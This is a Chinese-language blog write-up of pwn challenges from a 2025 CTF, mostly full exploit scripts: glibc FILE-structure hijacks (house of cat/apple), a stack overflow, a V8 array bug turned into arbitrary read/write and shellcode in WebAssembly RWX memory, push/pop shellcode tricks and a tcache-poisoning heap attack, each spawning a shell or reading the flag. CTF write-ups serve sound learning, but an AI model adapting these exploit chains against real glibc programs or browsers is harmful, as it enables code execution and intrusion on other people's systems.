securityCTF 2025 pwn方向题解

V-table

手挖io链子

正常的链子
exit_handler() -> io_flush_all() -> io_overflow() -> io_do_write()

我们修改vtable,使得调用overflow变成调用file_finish,正常的finish链子
exit_handler() -> io_file_finish() -> io_do_write()

而实际上我们修改了vtable,finish的位置在overflow-8,因此do_write对应的虚函数也要-8
exit_handler() -> io_file_finish() -> io_do_read()

于是我们就拿到了一个任意写
接下来写chains并打house of cat即可

from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9002

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
b _IO_flush_all
b *(&_IO_flush_all+210)
b _IO_switch_to_wget_mode
go
'''

def pwn():
    global p
    p = getp()

    p.recvuntil('0x')
    libcbase = int(p.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
    libc.address = libcbase
    jump = libc.sym['_IO_file_jumps']
    stdin = libc.sym['_IO_2_1_stdin_']
    stdout = libc.sym['_IO_2_1_stdout_']
    print(hex(stdout))
    file = flat(
    {
        0x0:0xfbad1800,
        0x8:[stdout + 0x801, stdout, stdout+0x800],
        0x20:[stdout, stdout - 0x800, stdout],
        0x68:stdout - 0x10,
        0x88:stdout + 0x1f0,
        0xb0:0,
        0xc8:jump-8,

        0x78:stdout + 0x1f0,
        0x90:stdout

    }, filler = b'\x00'
    )
    pay = bytes(file)
    s(pay)

    fake_io=stdout+0x100
    IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
    saddr=libc.sym['system']
    binsh=libc.search('/bin/sh').__next__()

    magic=0x0000000000154720+libcbase
    IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
    setcontext_61=libc.sym['setcontext']+53
    rdi=libc.search(asm("pop rdi;ret"),executable=True).__next__()
    rax=libc.search(asm("pop rax;ret"),executable=True).__next__()
    rsi=libc.search(asm("pop rsi;ret"),executable=True).__next__()
    sys_ret=libc.search(asm("syscall;ret"),executable=True).__next__()
    ret=rdi +1
    saddr=libc.sym['system']
    Rop=p64(rdi)+p64(binsh)+p64(saddr)
    orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
    # 0x0    rdi             0x8   _IO_read_ptr
    # 0x10  _IO_read_end     0x18  _IO_read_base
    # 0x20  _IO_write_base   0x28  _IO_write_ptr
    # 0x30  _IO_write_end    0x38  _IO_buf_base
    # 0x40  _IO_buf_end      0x48  _IO_save_base
    # 0x50  _IO_backup_base  0x58  _IO_save_end
    # 0x60  _markers         0x68  _chain
    # 0x70  _fileno          0x74  _flags2
    # 0x78  _old_offset      0x80  _cur_column
    # 0x82  _vtable_offset   0x83  _shortbuf
    # 0x88  _lock            0x90  _offset
    # 0x98  _codecvt         0xa0  _wide_data
    # 0xa8  _freeres_list    0xb0  _freeres_buf
    # 0xb8  __pad5           0xc0  _mode
    # 0xc4  _unused2         0xd8  vtable
    # magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

    cat=flat(
    {
    0x0:[b'./flag.txt'],     # rdi=binsh
    0x20:[p64(0)],            # write_base
    0x28:[p64(1)],            # write_ptr --> ptr > base
    0xc0:[p64(0)],            # _mode <= 0
    0xd8:[p64(IO_wfile_jumps+0x30)],

    0x88:[p64(fake_io+0x90),p64(0),p64(1)],   # bypass lock

    0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
    (0xA0+0x20):[p64(0)],
    (0xA0+0x28):[p64(1)],            # bypass check in wfile_seekoff
    (0xA0+0x30):[p64(1)],            # bypass check in wfile_seekoff
    (0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
    (0xB0+0xd8+0x18):[p64(magic)],   # call entry
    (0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
    (0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
    (0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp
    (0x1C8+0x68):[p64(0xffffff9c)],       # rdi
    (0x1C8+0xA8):[p64(rax)],              # ret_addr
    (0x1C8+0x88):[p64(0x100)],            # rdx
    (0x1C8+0x70):[p64(fake_io)],          # rsi
    (0x280):[p64(0x101),p64(sys_ret),            # rop
    p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
    p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
    ]
    },filler=b'\x00')

    file = flat(
    {
        0x58:stdout + 0x100,
        0x88:stdout + 0x1f0,
        0xb0:0,
        0xc8:jump - 8,

        0x78:stdout + 0x1f0,
        0x90:fake_io

    }, filler = b'\x00'
    )

    pay = bytes(file).ljust(0x100, b'\x00') + bytes(cat)
    s(pay)

# write_ptr < write_base (avoid crash in switch to get mode)
# mode > 0 (trigger IO_overflow)
# _wide_data->_IO_write_ptr> _wide_data->_IO_write_base (trigger IO_overflow)
# # A0 -> 18 less than A0 -> 20
# read from _IO_buf_base to _IO_buf_end

# ignore that

# io flush out

# 0x0    rdi             0x8   _IO_read_ptr
# 0x10  _IO_read_end     0x18  _IO_read_base
# 0x20  _IO_write_base   0x28  _IO_write_ptr
# 0x30  _IO_write_end    0x38  _IO_buf_base
# 0x40  _IO_buf_end      0x48  _IO_save_base
# 0x50  _IO_backup_base  0x58  _IO_save_end
# 0x60  _markers         0x68  _chain
# 0x70  _fileno          0x74  _flags2
# 0x78  _old_offset      0x80  _cur_column
# 0x82  _vtable_offset   0x83  _shortbuf
# 0x88  _lock            0x90  _offset
# 0x98  _codecvt         0xa0  _wide_data
# 0xa8  _freeres_list    0xb0  _freeres_buf
# 0xb8  __pad5           0xc0  _mode
# 0xc4  _unused2         0xd8  vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

pwn()
p.interactive()

PixPin_2025-10-06_19-11-12

一条亟待复现的链子
_IO_cleanup-> _IO_unbuffer_all->_IO_new_file_setbuf->_IO_default_setbuf->_IO_new_file_sync->_IO_do_flush-> _IO_wdo_write->__libio_codecvt_out

哦就是apple,不过我还没研究过,有时间再说

from pwn import *

chal = ELF('./main_patched')

HOST = 'pwn-14caf623.p1.securinets.tn'
PORT =  9002

gdbscript='''
dir ~/glibc
b *vuln +54
c
'''

context.binary = chal
context.terminal = ["tmux", "splitw", "-h"]

if args.GDB:
    conn = gdb.debug([chal.path], gdbscript)
elif args.REMOTE:
    conn = remote(HOST, PORT)
else:
    conn = process([chal.path])

def main():
    conn.recvuntil(b': ')
    
    addr_stdout = int(conn.recvline().strip(), 0x10)
    
    # FIXME
    addr_libc_base = addr_stdout - 0x1e85c0
    addr_system = addr_libc_base + 0x53110
    addr_stdfile_1_lock = addr_libc_base + 0x1e97b0
    addr_gadget = addr_libc_base + 0x001563c3 # add rdi, 0x10; jmp rcx;

    info(f'{addr_stdout = :#x}')
    info(f'{addr_libc_base = :#x}')
    info(f'{addr_system = :#x}')
    info(f'{addr_stdfile_1_lock = :#x}')
    info(f'{addr_gadget = :#x}')

    payload = flat({    
        0x0: 1, #  _flags
        0x8: addr_system + 0x4,             # _IO_read_ptr (_wide_data->_IO_write_base),
        0x10: addr_system + 0x3,            #_IO_read_end (_wide_data->_IO_write_ptr)
        0x20: 0,                            # _IO_write_base (_codecvt->__cd_out->step->__shlib_handle)
        0x28: 1,                            # _IO_write_ptr
        0x30: b'/bin/sh\0',                 # rdi + 0x10
        0x38: 0,                            # _IO_buf_base (_wide_data->_IO_backup_base)
        0x48: addr_gadget,                  # _IO_save_base (_codecvt->__cd_out->step->__fct)
        0x50: 0,                            # _IO_backup_base
        0x58: addr_stdout + 0x20,           # _IO_save_end (_codecvt->__cd_out->step) +0x60, +0x68, +0x80 will be overwitten
        0x88: addr_stdfile_1_lock,          # _lock
        0x98: addr_stdout + 0x58 - 0x38,    # _codecvt
        0xa0: addr_stdout + 0x8 - 0x18,     # _wide_data
        0xc0: 1,  # _mode
    }, filler=b'\0', length=0xd8)

    conn.send(payload)
    conn.interactive()

if __name__ == '__main__':  
    main()

Zip++

zip,但是压缩算法不好
所以有个栈溢出控制到win就结束了

from pwn import *
filename = './main'
# libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9000

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
go
'''

def pwn():

    global p
    p = getp()
    pay = b'\x01\x02' * 198 + b'\xa6' *0x11
    sa(':',pay)
    sa(':','exit')

pwn()
p.interactive()

Sukunahikona

一个简单的v8题

var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
	_f[0] = f;
	return _i[0];
}
function i2f(i)
{
	_i[0] = i;
	return _f[0];
}
function phex(i)
{
	console.log("[HEX]: 0x"+i.toString(16).padStart(16,"0"));
}

let arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10, 11.11, 12.12, 13.13, 14.14, 15.15, 16.16, 17.17, 18.18, 19.19, 20.20];
let obj_arr = [{}, {}, {}];
let evil_len = {
    valueOf: function() {
        // arr.push({}); // Change the array to HOLEY_ELEMENTS array if needed
        arr.length = 2;
        return 19;
    }
};

arr.shrink(evil_len);

new ArrayBuffer(0xfe000000);
new ArrayBuffer(0xfe000000);
new ArrayBuffer(0xfe000000);
// %DebugPrint(arr);
// const map_value = arr[2];
function show_arr()
{
    for (let i = 0; i < arr.length; i++) {
        phex(f2i(arr[i]));
    }
}
function addr_of(obj)
{
    obj_arr[2] = obj;
    return f2i(arr[6]) & 0xffffffffn;
}

function read32_at(addr)
{
    arr[7] = i2f(((addr-8n) << 32n) | 0x725n);
    arr[8] = i2f((0x2n << 32n) | (0x2n));
    return f2i(obj_arr[0][0]);  
}

function write32_at(addr, val)
{
    arr[7] = i2f(((addr-8n) << 32n) | 0x725n);
    arr[8] = i2f((0x2n << 32n) | (0x2n));
    obj_arr[0][0] = i2f(val);
}

function pwn()
{
    darr_map = f2i(arr[2]);
    oarr_map = f2i(arr[17]);
    darr_addr = (f2i(arr[3]) + 8n) & 0xffffffffn;
    oarr_addr = darr_addr + 0x28n;
    obj0_addr = oarr_addr + 0xcn;
    phex(obj0_addr);
    phex(oarr_map);

    arr[6] = i2f((darr_map & 0xffffffffn) << 32n);
    // arr[7] = i2f((darr_map >> 32n) | )

    var data_buf = new ArrayBuffer(0x400);
    var data_view = new DataView(data_buf);

    backing = addr_of(data_buf) + 0x24n;
    haddr = read32_at(backing);
    phex(backing);
    phex(haddr);
    // %DebugPrint(data_buf);
    // %DebugPrint(data_view);
    // %DebugPrint(arr);

    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;

    f_addr = addr_of(f);
    instance_addr = read32_at(f_addr + 0x10n) & 0xffffffffn;
    function_data_addr = read32_at(instance_addr + 4n) & 0xffffffffn;
    instance_data = read32_at(function_data_addr + 0x14n) & 0xffffffffn;
    rwx = read32_at(instance_data + 0x30n);

    
    phex(f_addr);
    phex(instance_addr);
    phex(function_data_addr);
    phex(instance_data);
    phex(rwx);
    write32_at(backing, rwx);
    // %DebugPrint(data_buf);

    shellcode = [
0x2434810101757968n,
0x2f66b84801010101n,
0x4850742e67616c66n,
0x632f656d6f682fb8n,
0x31d231e789485074n,
0xc031050f58026af6n,
0x4801b6d2315f036an,
0x315f016a050fe689n,
0x16ae6894801b6d2n,
0x50f58n,


        ];
    for (let i = 0; i < shellcode.length; ++i)
    {
    data_view.setFloat64(i * 8, i2f(shellcode[i]), true);
    }
    f();
}
pwn()
while(1) {}

push pop all

在里面藏个bad就会阻断cs的解析

然后我们用push pop指令再把bad指令写掉,就能正常执行后面的shellcode了

from pwn import *
import base64
context.arch = 'amd64'
context.log_level = 'debug'

host = '127.0.0.1'
port = 1337

host = 'pwn-14caf623.p1.securinets.tn'
port = 9001

def pwn():
    p = remote(host, port)
    shellcode = asm('pop rax')*8
    shellcode += asm('push r11; pop rsp; pop rax; pop rbx; push rax;') + b'\x60'
    shellcode += asm('nop; nop; add rsp, 0x800;' + shellcraft.sh())
    shellcode = base64.b64encode(shellcode)
    p.sendline(shellcode)
    p.interactive()
    p.close()

pwn()

push pop all revenge

我不喜欢这道题 TvT

用 search -2 050f找syscall,然后pop到寄存器里再push到rwx
或者用canary 1/256拿 0xf

长度有0x2000,足够我们pop来搜索

search -w -2 ...

PixPin_2025-10-07_14-23-22

这是第一种办法,肉眼查找法。第一种办法的优化是自己编写一个gdb脚本,将search的结果与栈上指针比对,最后找到一个可以获得0x50f的办法

第二种办法是用pop sp修改rsp的低位,之前我只知道64位下没有pop eax...但是没想到原来可以pop ax...

用pop sp 修改 rsp低位为7,然后pop到0x507即可

第三种做法是控制code的长度,填充我们的shellcode使其长度为0x507,然后找到我们code的源代码,再反照对象的引用路径,最后在栈上找到能跑过去的链子

PixPin_2025-10-07_14-42-56

PixPin_2025-10-07_14-43-12

咕咕嘎嘎.mp4
(不过这里在栈更高位的地方上不去)
(但是pop sp疑似就上去了)

from pwn import *
from base64 import *
filename = "/bin/python"
# libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9090

# host = '127.0.0.1'
# port = 1337

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
    p = remote(host, port)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
go
'''

def pwn():
    global p
    p = getp()
  
    shellcode = asm('pop rcx; pop rcx; pop rcx;')
    shellcode += asm('pop rsp; pop rcx; pop rcx; pop rcx; pop rsp;') + asm('pop rbx')* 397 + asm('pop rsp; pop rcx; pop rcx; pop rcx;')
    shellcode += asm('pop rcx; pop rsp; pop rcx; pop rcx; pop rbx; push r11; pop rsp;')
    shellcode += asm('pop rcx; push rsp; pop rsi') + asm('pop rcx') * 0x40 + asm('push rbx; pop rdx')
    shellcode = shellcode.ljust(0x50f, asm('pop rcx'))
    shellcode = b64encode(shellcode)

    sla('Shellcode : ', shellcode)
    # sleep(10)
    shellcode = b'\x90'*0x220 + asm('add rsp, 0x800;' + shellcraft.sh())
    s(shellcode)
    # p.recv(1, timeout=2)
    # shellcode = b'\x90'*0x520 + asm('add rsp, 0x800;') + asm(shellcraft.write(1, 'rsp', 0x100))
    # sleep(0.5)
    # sl(shellcode)
    # p.interactive()
    # p.recv(1)
pwn()
p.interactive()

记得控制rdx不要太大

spell manage

简单的堆题,给了个任意申请

from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= ''
port= 0

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
go
'''

def add(idx, content):    
    s = content.ljust(0x6c, b'\x00')
    sla(': ', '1')
    sla(': ', str(idx))
    sa(': ', s[0:0x20])
    sa(': ', s[0x20:0x60])
    sla(':', str(u32(s[0x60:0x64])))
    sla(':', str(u32(s[0x64:0x68])))
    sla(':', str(u32(s[0x68:0x6c])))

def edit(idx, content):
    s = content.ljust(0x6c, b'\x00')
    sla(': ', '2')
    sla(': ', str(idx))
    sa(': ', s[0:0x20])
    sa(': ', s[0x20:0x60])
    sla(':', str(u32(s[0x60:0x64])))
    sla(':', str(u32(s[0x64:0x68])))
    sla(':', str(u32(s[0x68:0x6c])))

def show():
    sla(':', '3')

def free(idx):
    sla(':', '4')
    sla(':', str(idx))

def pwn():
    global p
    p = getp()

    for i in range(0, 7):
        add(i, b'')
        free(i)
    show()
    p.recvuntil('Slot 0:\n  Name:')
    haddr = u64(p.recv(6)+b'\x00\x00')*0x10 + 0x90
    tkey = haddr >> 12
    add(8, b'')
    add(9, b'')
    for i in range(0, 11):
        add(10 + i, b'')

    free(8)
    free(9)

    edit(0, b'\x00'*0x58+p64(0x81)+p64(tkey))
    edit(9, p64(tkey ^ (haddr + 0x60)))
    add(8, b'')
    add(9, b'\x00'*0x18 + p64(0x481))

    free(1)
    show()
    p.recvuntil('Slot 1:\n  Name: ')
    libcbase = u64(p.recv(6)+b'\x00\x00') - 0x203b20
    for i in range(0, 5):
        add(11 + i, b'')

    add(12, p64(tkey ^ (libcbase+libc.sym['_IO_list_all'])))

    fake_io = haddr + 0x390
    IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
    setcontext_61=libcbase+libc.sym['setcontext']+61
    rdi=libcbase+0x000000000010f75b
    rax=libcbase+0x00000000000dd237
    rsi=libcbase+0x0000000000110a4d
    sys_ret=libcbase+0x000000000098FC5
    ret=libcbase+0x000000000010f75b+1
    saddr=libcbase+libc.sym['system']
    binsh=libcbase+libc.search('/bin/sh').__next__()
    Rop=p64(rdi)+p64(binsh)+p64(saddr)
    orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
    # 0x0    rdi             0x8   _IO_read_ptr
    # 0x10  _IO_read_end     0x18  _IO_read_base
    # 0x20  _IO_write_base   0x28  _IO_write_ptr
    # 0x30  _IO_write_end    0x38  _IO_buf_base
    # 0x40  _IO_buf_end      0x48  _IO_save_base
    # 0x50  _IO_backup_base  0x58  _IO_save_end
    # 0x60  _markers         0x68  _chain
    # 0x70  _fileno          0x74  _flags2
    # 0x78  _old_offset      0x80  _cur_column
    # 0x82  _vtable_offset   0x83  _shortbuf
    # 0x88  _lock            0x90  _offset
    # 0x98  _codecvt         0xa0  _wide_data
    # 0xa8  _freeres_list    0xb0  _freeres_buf
    # 0xb8  __pad5           0xc0  _mode
    # 0xc4  _unused2         0xd8  vtable
    # magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
    
    pay=flat(
    {
    0x0:[b'/bin/sh\x00'],     # rdi = binsh
    0x20:[p64(0)],            # write_base
    0x28:[p64(1)],            # write_ptr --> ptr > base
    0x48:[p64(saddr)],
    0xc0:[p64(0)],            # _mode <= 0
    0xd8:[p64(IO_wfile_jumps+0x30)],
    
    0x88:[p64(fake_io+0x90),p64(0),p64(1)],   # bypass lock
    
    0xA0:[p64(fake_io-0x10)],         # bypass check in wfile_seekoff
    0x10:[p64(1)],
    0x18:[p64(0)],
    # (0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
    (0xc8):[p64(fake_io+0xd0-0x18)],   
    (0xd0):[p64(fake_io+0x30)],   # call entry
    }, filler=b'\x00'
    )

    add(12, bytes(pay)[0:0x68])
    add(13, bytes(pay)[0x80:0xe0])

    sla(':', '5')
    sla(':', str(0x78))
    sla(':', p64(0))
    sla(':', '5')
    sla(':', str(0x78))
    sla(':', p64(fake_io))

    print(hex(libcbase))
    print(hex(haddr))



pwn()
p.interactive()

改_IO_list_all结束

posted @ 2025-10-11 21:16  imiab  阅读(229)  评论(1)    收藏  举报